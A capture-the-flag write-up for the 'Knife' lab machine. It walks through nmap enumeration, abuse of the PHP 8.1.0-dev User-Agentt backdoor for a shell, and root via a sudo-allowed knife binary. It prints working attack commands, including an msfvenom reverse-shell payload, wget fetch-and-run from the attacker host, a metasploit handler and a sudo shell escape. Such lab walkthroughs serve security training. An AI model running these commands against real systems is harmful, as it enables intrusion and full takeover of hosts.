Enumeration

As usual, we start off with an nmap scan to get a list of running ports and services on the host.

sudo nmap -sT -sV -sC -oN scan_full.log -p- -T5 -Pn -n -v $target

Which returns the result of:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

This is a very typical Linux web server set up; port 22 for Administration over SSH and port 80 (hopefully 443 in prod) for the web server.

Here, we can see it is running Apache 2.4.41 and the scan thinks it is Ubuntu. Additionally, the banner grab for the SSH server shows it is Ubuntu as well. We can verify this once we are on the host but this is usually pretty accurate.

Looking at the website doesn’t show us much. None of the links are hooked up and there is no traffic to and from the web server besides serving the initial static page.

I tried directory busting with feroxbuster and subdomain hunting with ffuf but neither will return any results. You have to look closely and remember to properly fingerprint the technology you are looking at. Notice, that the X-Powered-By header has a very interesting value set: PHP/8.1.0-dev.

Looking online reveals that this very specific version has a backdoor built into it. A malicious actor can send a request stored in the User-Agentt header (notice the double ’t’ in ‘Agentt’) to get remote code execution (RCE).

Exploiting PHP/8.1.0-dev

I took the example PoC exploit from https://www.exploit-db.com/exploits/49933 and tried it against the host:

python3 exploit.py

Enter the full host url:
http://knife.htb

Interactive shell is opened on http://knife.htb
Cant acces tty; job crontol turned off.

$ id
uid=1000(james) gid=1000(james) groups=1000(james)

We can see we are on the box as a low-privileged user and can get the user flag.

Privilege Escalation to Root

Running sudo -l works even without james’ password:

Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

We can see that we can run /usr/bin/knife as root. I don’t know what knife is but it is a Ruby application. I did some Googling and immediately found the GTFOBins reference, https://gtfobins.github.io/gtfobins/knife/

However, trying to run:

sudo knife exec -E 'exec "/bin/sh"'

In the context of this pseudo-terminal will likely not work for you as it didn’t work for me due to a missing file. The file is actually going to be one of stdin or stdout. You will need a full terminal to exploit this. I did this by first generating a full meterpreter shell using msfvenom:

msfvenom -p linux/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.10.14.10 -f elf > shell

I staged a web server using:

python3 -m http.server 9091

I loaded the shell onto the box using wget:

wget -O /dev/shm/shell http://10.10.14.10:9091/shell

And executed it simply with:

chmod +x /dev/shm/shell && /dev/shm/shell

I captured the reverse shell using a metasploit multi/handler:

msfconsole -q -x 'use multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set LPORT 4444;set LHOST 10.10.14.10;run'

With this full shell, it is now possible to execute the knife exploit:

sudo knife exec -E 'exec "/bin/sh"'

Success!! We get a full shell running as root.

root@knife:~# id
id
uid=0(root) gid=0(root) groups=0(root)